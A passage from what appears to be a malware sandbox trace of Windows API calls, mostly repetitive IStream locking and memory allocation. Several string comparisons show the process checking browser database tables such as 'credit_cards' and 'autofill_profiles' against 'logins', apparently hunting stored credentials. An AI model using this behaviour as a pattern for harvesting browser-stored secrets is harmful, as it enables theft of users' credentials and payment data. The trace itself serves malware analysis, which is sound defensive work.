(This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763a18 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a770 [0054.787] LocalFree (hMem=0x940a908) returned 0x0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a9d0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0x76a9d0) returned 0x0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.787] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a9d0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0x76a9d0) returned 0x0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x764698 [0054.787] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x24, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a9d0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x1c6) returned 0x76a4b0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0x76a4b0) returned 0x0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x1ce) returned 0x75c598 [0054.787] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.787] LocalFree (hMem=0x764558) returned 0x0 [0054.787] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.787] lstrcmpiA (lpString1="credit_cards", lpString2="logins") returned -1 [0054.787] LocalFree (hMem=0x76a770) returned 0x0 [0054.788] LocalFree (hMem=0x763978) returned 0x0 [0054.788] LocalFree (hMem=0x764698) returned 0x0 [0054.788] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.788] LocalFree (hMem=0x75c598) returned 0x0 [0054.788] LocalFree (hMem=0x763a18) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x610e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x610e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x610f, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.788] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.788] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e560, libOffset=0x6110, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.788] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.788] LocalFree (hMem=0x75e920) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.788] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763a18 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.788] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x764698 [0054.788] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.788] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a9d0 [0054.788] LocalFree (hMem=0x940a908) returned 0x0 [0054.788] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x7590a8 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.788] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.788] IStream:SetSize (This=0x76e6f0, libNewSize=0x7590a8) returned 0x0 [0054.789] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754f00 [0054.789] LocalFree (hMem=0x7590a8) returned 0x0 [0054.789] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a770 [0054.789] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e6f0, libOffset=0x2a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e6f0, libNewSize=0x76a770) returned 0x0 [0054.789] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.789] LocalFree (hMem=0x76a770) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e6f0, libOffset=0x36, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.789] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a770 [0054.789] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.789] LocalFree (hMem=0x763a18) returned 0x0 [0054.789] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.789] lstrcmpiA (lpString1="credit_cards", lpString2="logins") returned -1 [0054.789] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.789] LocalFree (hMem=0x754f00) returned 0x0 [0054.789] LocalFree (hMem=0x763978) returned 0x0 [0054.789] LocalFree (hMem=0x76a770) returned 0x0 [0054.789] LocalFree (hMem=0x940a908) returned 0x0 [0054.789] LocalFree (hMem=0x764698) returned 0x0 [0054.789] LocalFree (hMem=0x770828) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x7f6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x7f6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e560, libNewSize=0xef838) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x7fa, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x6800, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x6800, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e560, libNewSize=0xef7df) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x6801, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x6803, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x6805, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x6807, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e560, libNewSize=0xef7df) returned 0x0 [0054.789] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x770828 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x6808, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x680a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.789] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.789] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x680c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x680e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6810, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6812, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6814, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6816, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6818, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6bdc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6bdc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6bdd, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6bde, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.790] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.790] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e560, libOffset=0x6bdf, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.790] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.790] LocalFree (hMem=0x75e920) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.790] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x764698 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.790] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.790] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a770 [0054.791] LocalFree (hMem=0x940a908) returned 0x0 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763a18 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0x763a18) returned 0x0 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x7590a8 [0054.791] LocalFree (hMem=0x763a18) returned 0x0 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763a18 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0x763a18) returned 0x0 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x759000 [0054.791] LocalFree (hMem=0x763a18) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a9d0 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x205) returned 0x76a4b0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e6f0, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:SetSize (This=0x76e6f0, libNewSize=0x76a4b0) returned 0x0 [0054.791] LocalAlloc (uFlags=0x40, uBytes=0x20d) returned 0x75c598 [0054.791] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.791] LocalFree (hMem=0x764698) returned 0x0 [0054.791] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.791] lstrcmpiA (lpString1="autofill_profiles", lpString2="logins") returned -1 [0054.791] LocalFree (hMem=0x76a770) returned 0x0 [0054.791] LocalFree (hMem=0x7590a8) returned 0x0 [0054.791] LocalFree (hMem=0x759000) returned 0x0 [0054.791] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.791] LocalFree (hMem=0x75c598) returned 0x0 [0054.791] LocalFree (hMem=0x763978) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e560, libOffset=0x6b99, 